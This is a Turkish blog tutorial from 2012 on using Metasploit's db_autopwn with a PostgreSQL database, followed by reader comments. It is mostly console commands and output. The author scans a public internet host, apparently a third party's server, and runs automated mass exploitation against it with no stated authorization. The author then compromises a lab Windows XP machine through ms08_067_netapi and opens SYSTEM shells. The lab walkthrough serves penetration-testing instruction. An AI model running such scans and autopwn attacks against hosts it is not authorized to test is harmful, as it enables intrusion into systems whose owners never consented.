18 Şubat 2012

Metasploit'de Postgresql database ile db_autopwn kullanımı

Posted by: Fırat Celal Erdik 18 Şubat 2012
Metasploit Rapid7 tarafından satın alındıktan sonra lisansa tabi olduğu için subversion(svn) update etmeden db_autopwn özelliğini eski bir metasploit framework'unde(framework2) kullanarak açıklamaya çalıştım. Db_autopwn özelliği ile uzak sistem üzerinde açık bulunan portlara uygun olan tüm exploitler otomatize olarak denenerek sistem üzerinde session açılmaya çalışılır.Örneğin sistem üzerinde tcp 445 portu açık ise bu port üzerinden çalışan tüm exploitler
denenir. Bir sistem üzerinde onlarca port açık olduğunu ve  her port için onlarca exploit ve totalde 100'lerce exploit denenmesi gerektiğini  düşünürsek bunları manuel gerçekleştirmek oldukça büyük zaman kaybı olacaktır.Bu durumda db_autopwn kullanımı oldukça yararlı olacaktır.Burada db_autopwn için postgresql database yazılımının nasıl kullanılabileceğine değinmek istedim.Yine yazıda db_nmap özelliği ile uzak IP adresleri nmap aracılığı ile metasploit içerisinde  port scan işlemine tabi tutularak bulunan bulgular oluşturulan postgresql database'inde tutulmuş ve daha sonra buradaki veri db_autopwn tarafından kullanılarak olası tüm exploitler otomatize denenmiştir.

Sistemimiz yeni kurulduğu için biz öncelikle apt-get aracımızı update ile başlayacağız:

root@bt:~# apt-get update
Hit http://all.repository.backtrack-linux.org revolution Release.gpg
Hit http://source.repository.backtrack-linux.org revolution Release.gpg
Hit http://32.repository.backtrack-linux.org revolution Release.gpg           
Ign http://all.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://32.repository.backtrack-linux.org/ revolution/main Translation-en_US
Ign http://source.repository.backtrack-linux.org/ revolution/main Translation-en_US

Synaptic Package Manager aracı tanımlı repositorylerden görsel olarak uygulama kurma ve kaldırma için kullanılan bir uygulamadır.Bizim sistemimizde kurulu olmadığı için aşağıdaki komutla kuruyoruz.Uygulama kurulum için SPM yerine komut satırını da kullanabilirsiniz.
 
root@bt:~# apt-get install synaptic

Reading package lists... Done
Building dependency tree      
Reading state information... Done

Synaptic package Manager kurulduktan sonra aşağıdaki gibi postgresql ve ilişkili tüm diger yazılımları işaretleyip apply diyerek sistemimize kuruyoruz.



 Sistemimize postgresql kurduktan sonra bu servisi aşağıdaki komut ile başlatıyoruz.
 
root@bt:~# /etc/init.d/postgresql-8.4  start

 * Starting PostgreSQL 8.4 database server                             [ OK ]


Postgres kullanıcısı için şifre belirlemek için psql aracını kullanıyoruz.Psql, postgresql database'ne etkileşim kuran bir yazılım.Postgres kullanıcısının parolasını celal olarak belirledim.
 
root@bt:~# su postgres

sh-4.1$ psql
could not change directory to "/root"
psql (8.4.8)
Type "help" for help.

postgres=# \password
Enter new password:
Enter it again:
postgres=# \q
could not save history to file "/home/postgres/.psql_history": No such file or directory
sh-4.1$ exit
exit

Şimdi metasploit uygulamsını çalıştıralım:
root@bt:~# /usr/local/bin/msfconsole
msf >
msf >

Kullanacağımız database olarak postgresql seçelim:

msf > db_driver postgresql
[*] Using database driver postgresql
msf >

Şimdi postgresql database'mize önce bağlantı sağlamak için kullanıcı:parola bilgisini(postgres:celal) ve ardından oluşturulacak database ismini aşağıdaki gibi belirtiyoruz.Görüldüğü gibi belirttiğimiz db name için ilgili tüm tablolar create ediliyor.

msf > db_connect postgres:celal@127.0.0.1/testdb

NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE will create implicit sequence "clients_id_seq" for serial column "clients.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "clients_pkey" for table "clients"
NOTICE:  CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
NOTICE:  CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
NOTICE:  CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
….
….
….
NOTICE:  CREATE TABLE will create implicit sequence "listeners_id_seq" for serial column "listeners.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "listeners_pkey" for table "listeners"
NOTICE:  CREATE TABLE will create implicit sequence "nexpose_consoles_id_seq" for serial column "nexpose_consoles.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "nexpose_consoles_pkey" for table "nexpose_consoles"
NOTICE:  CREATE TABLE will create implicit sequence "profiles_id_seq" for serial column "profiles.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "profiles_pkey" for table "profiles"
msf >

Db_nmap özelliği ile metasploit içerisinde nmap kullanarak uzak bir sisteme port taraması yapalım ve bunu database yazdırıp daha sonra açıklarını db_autopwn ile exploit edelim.
 
msf > db_nmap 66.7.205.168 -PN

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-02-17 17:35 EET
[*] Nmap: Nmap scan report for solid.nseasy.com (66.7.205.168)
[*] Nmap: Host is up (0.19s latency).
[*] Nmap: Not shown: 983 filtered ports
[*] Nmap: PORT     STATE  SERVICE
[*] Nmap: 20/tcp   closed ftp-data
[*] Nmap: 21/tcp   open   ftp
[*] Nmap: 22/tcp   closed ssh
[*] Nmap: 25/tcp   open   smtp
[*] Nmap: 26/tcp   open   rsftp
[*] Nmap: 53/tcp   open   domain
[*] Nmap: 80/tcp   open   http
[*] Nmap: 110/tcp  open   pop3
[*] Nmap: 143/tcp  open   imap
[*] Nmap: 443/tcp  open   https
[*] Nmap: 465/tcp  open   smtps
[*] Nmap: 587/tcp  closed submission
[*] Nmap: 993/tcp  open   imaps
[*] Nmap: 995/tcp  open   pop3s
[*] Nmap: 1097/tcp open   sunclustermgr
[*] Nmap: 3306/tcp open   mysql
[*] Nmap: 5666/tcp open   nrpe
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 9.01 seconds
 
msf > db_autopwn -p -t -e -I 66.7.205.168

[*] Analysis completed in 7 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]   66.7.205.168:21  exploit/freebsd/ftp/proftp_telnet_iac  (port match)
[*]   66.7.205.168:21  exploit/linux/ftp/proftp_sreplace  (port match)
[*]   66.7.205.168:21  exploit/linux/ftp/proftp_telnet_iac  (port match)
[*]   66.7.205.168:21  exploit/multi/ftp/wuftpd_site_exec_format  (port match)
[*]   66.7.205.168:21  exploit/osx/ftp/webstar_ftp_user  (port match)
[*]   66.7.205.168:21  exploit/unix/ftp/proftpd_133c_backdoor  (port match)
[*]   66.7.205.168:21  exploit/unix/ftp/vsftpd_234_backdoor  (port match)
[*]   66.7.205.168:21  exploit/windows/ftp/3cdaemon_ftp_user  (port match)
[*]   66.7.205.168:21  exploit/windows/ftp/cesarftp_mkd  (port match)
[*]   66.7.205.168:21  exploit/windows/ftp/dreamftp_format  (port match)
[*]   66.7.205.168:21  exploit/windows/ftp/easyfilesharing_pass  (port match)
….
….
….
[*] (327/327 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (327/327 [0 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 0 sessions

msf >

Herhangi bir oturum elde edemedik.Açık portlar üzerinde oturum açma ihtimali olan tüm exploitler denendi.Fakat oturum açılmadı.Buda bize sistemde session alabileceğimiz ve uzaktan kod çalıştırabileceğimiz bir güvenlik açığı olmadığını göstermektedir. Portun açık olması her zaman session alabiliriz anlamına gelmez.Çünkü burada asıl güvenlik zaafiyetini içeren uzak sistemin işletim sistemidir.

Şimdi Local Labratuvarımdaki üzerinde XP SP3 olan sistemin portlarını tarayıp ilişkili portlara uygun exploitleri otomatize bir şekilde autopwn ile denetelim.
 
msf > db_nmap 192.168.56.102 -PN  -sV

[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-02-17 23:42 EET
[*] Nmap: Nmap scan report for 192.168.56.102
[*] Nmap: Host is up (0.0015s latency).
[*] Nmap: Not shown: 997 closed ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 135/tcp open  msrpc
[*] Nmap: 139/tcp open  netbios-ssn
[*] Nmap: 445/tcp open  microsoft-ds
[*] Nmap: MAC Address: 08:00:27:6E:79:49 (Cadmus Computer Systems)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds

Görüldüğü gibi TCP 135,139 ve 445 portları sistem üzerinde açık.Şimdi autopwn çalıştıralım.
 
msf > db_autopwn -e -p -t -I 192.168.56.102

[*] Analysis completed in 7 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================
[*]   192.168.56.102:135  exploit/windows/dcerpc/ms03_026_dcom  (port match)
[*]   192.168.56.102:139  exploit/freebsd/samba/trans2open  (port match)
[*]   192.168.56.102:139  exploit/linux/samba/chain_reply  (port match)
[*]   192.168.56.102:139  exploit/linux/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.102:139  exploit/linux/samba/trans2open  (port match)
[*]   192.168.56.102:139  exploit/multi/samba/nttrans  (port match)
[*]   192.168.56.102:139  exploit/multi/samba/usermap_script  (port match)
[*]   192.168.56.102:139  exploit/netware/smb/lsass_cifs  (port match)
[*]   192.168.56.102:139  exploit/osx/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.102:139  exploit/solaris/samba/trans2open  (port match)
[*]   192.168.56.102:139  exploit/windows/brightstor/ca_arcserve_342  (port match)



[*]   192.168.56.102:445  exploit/freebsd/samba/trans2open  (port match)
[*]   192.168.56.102:445  exploit/linux/samba/chain_reply  (port match)
[*]   192.168.56.102:445  exploit/linux/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.102:445  exploit/linux/samba/trans2open  (port match)
[*]   192.168.56.102:445  exploit/multi/samba/nttrans  (port match)
[*]   192.168.56.102:445  exploit/multi/samba/usermap_script  (port match)
[*]   192.168.56.102:445  exploit/netware/smb/lsass_cifs  (port match)
[*]   192.168.56.102:445  exploit/osx/samba/lsa_transnames_heap  (port match)
[*]   192.168.56.102:445  exploit/solaris/samba/trans2open  (port match)
[*]   192.168.56.102:445  exploit/windows/brightstor/ca_arcserve_342  (port match)



[*] (51/51 [2 sessions]): Waiting on 3 launched modules to finish execution...
[*] (51/51 [2 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 2 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================


Active sessions
===============

  Id  Type                   Information                      Connection                                    Via
  --  ----                   -----------                      ----------                                    ---
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ KURBANPC45  192.168.56.103:52084 -> 192.168.56.102:23492  exploit/windows/smb/ms08_067_netapi
  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ KURBANPC45  192.168.56.103:54547 -> 192.168.56.102:7259   exploit/windows/smb/ms08_067_netapi

[*] ================================================================================

msf >

Evet görüldüğü gibi sunucu üzerinde ms08_067_netapi exploiti kullanılarak 2 adet session açılmış durumda .

MS08_067_netapı zaafiyeti özetle; windows sistemlerin üzerinde bulunan netapi32.dll isimli DLL dosyasındaki bir fonksiyonun kod zayıflığından faydalanılarak bellek taşırma işlemi ile uzaktan kimlik doğrulamaya gerek duyulmadan kod çalıştırmaya izin veren bir zaafiyettir.Açıklığı exploit edebilmek için uzak sistemin TCP 445 ve 139 portlarının açık olması gerekli.Bu zaafiyet ile ilgili update için http://technet.microsoft.com/en-us/security/bulletin/ms08-067 adresini ziyaret edebilirsiniz.

Şimdi Id değeri 1 olan oturum ile sunucuya erip birkaç atraksiyon yapalım :)
 
msf > sessions  -i  1

[*] Starting interaction with 1...

Ipconfig komutu ile uzak sistemin IP adresine bakalım:
 
meterpreter > ipconfig  /all


MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


AMD PCNET Ailesi PCI Ethernet Bağdaştırıcısı - Paket Zamanlayıcısı Mini Bağlantı Noktası
Hardware MAC: 08:00:27:6e:79:49
IP Address  : 192.168.56.102
Netmask     : 255.255.255.0


meterpreter >

Sysinfo komutu ile sistem bilgilerine bir göz atalım:
 
meterpreter > sysinfo

Computer        : KURBANPC45
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : tr_TR
Meterpreter     : x86/win32

Şimdi de ele geçirdiğimiz cihazın shell'ini alalım ve makalemizi burada bitirelim:
 
meterpreter > execute -f cmd.exe -i -H

Process 1672 created.
Channel 1 created.
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Aynı işlemi shell komutunu vererekte yapabiliriz:
 
meterpreter > shell

Process 1956 created.
Channel 2 created.
Microsoft Windows XP [Sürüm 5.1.2600]
(C) Telif Hakkı 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Meterpreter oturumunda daha detaylı neler yapılabileceğini merak ediyorsanız Metasploit Meterpreter Uygulamaları isimli makaleye göz atabilirsiniz.



10 yorum:

  1. anlatım çok güzel ama ben linux mint kullanıcısıyım bir türlü backtrack tools menüsünü yukleyemiyorum bd adreslerinde bir sorun var internetteki linklerin hepsinde de backtrack 'ı işletim sistemi olarak kullanmak istemiyorum sanal sistemde kullanmak istemiyorum sadece mint'e modifiye etmek istiyorm yokmu bir yolu bunun ?

    YanıtlaSil
  2. Mint sistemde;
    /etc/apt/sources.list içine şunu yapıştırıp,

    # Backtrack
    deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
    deb http://32.repository.backtrack-linux.org revolution main microverse non-free testing
    deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing

    Daha sonra apt-get update ile güncellersen(verilen hataya aldırma) ve daha sonra synaptic açıp sol tarafta bt ile başlayan menüler altında tool isimlerini görüp kurabilirsin..kurduğun toollar /pentest diye bir dizin içinde görebilirsin.
    Kolaylıklar

    YanıtlaSil
  3. Elinize Kolunuza :) sağlık; çok faydalı oldu

    YanıtlaSil
  4. Merhaba Ellerine sağlık.
    Bir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
    Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
    Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
    Saygılarımla
    Fatih
    http://www.exploit-db.com/exploits/24017/

    YanıtlaSil
  5. Merhaba Ellerine sağlık.
    Bir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
    Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
    Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
    Saygılarımla
    Fatih
    http://www.exploit-db.com/exploits/24017/

    YanıtlaSil
  6. Merhaba Ellerine sağlık.
    Bir şey soracağım. Herkes bir yerlerden okuyarak çevirerek ya da kullanarak bunu anlatıp duruyor.
    Zaten kayıtlı olan payloadlar var. ama bunların artık geçerliliği yok.
    Örneğin bu linkte yeni çıkan exploiti kullanılabilir hale nasıl getirilir baştan sona yazarsanız helal olsun diyeceğim.
    Saygılarımla
    Fatih
    http://www.exploit-db.com/exploits/24017/

    YanıtlaSil
  7. Merhaba Fatih,
    Exploit-db de yayınlanan exploitleri metasploite uyarlaman için rubby ile modül geliştirmeye bakman gerekecek..
    bu makale yardımcı olacaktır sanıyorum..
    http://www.offensive-security.com/metasploit-unleashed/Porting_Exploits

    YanıtlaSil
  8. meraba fatih bey ben bilgisayarımdan postgresql kurulumunu bilgisayarımdan kaldıramıyorum bilgisayarımdan tamamen silmek için napmam gerekiyo?

    YanıtlaSil
  9. Yeniden kurmak ve sonra tekrar kaldırmak gerekebilir.
    Ya da servisini disable durumuna getirebilirseniz kaynak kullanmayı bırakır. Startup'ta varsa birşeyler onları da silebilirsiniz.
    Bu işlemeler için Msconfig programcığını kullanabilirsiniz. Başkatçalıştıra yazın bunu.

    YanıtlaSil

Her türlü eleştiri,yorum,ekleme ve düzeltmeye yönelik fikirlerinizi paylaşabilirsiniz.Hakaret içeren yorumlar filtrelenmektedir.

Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Blogger tarafından desteklenmektedir.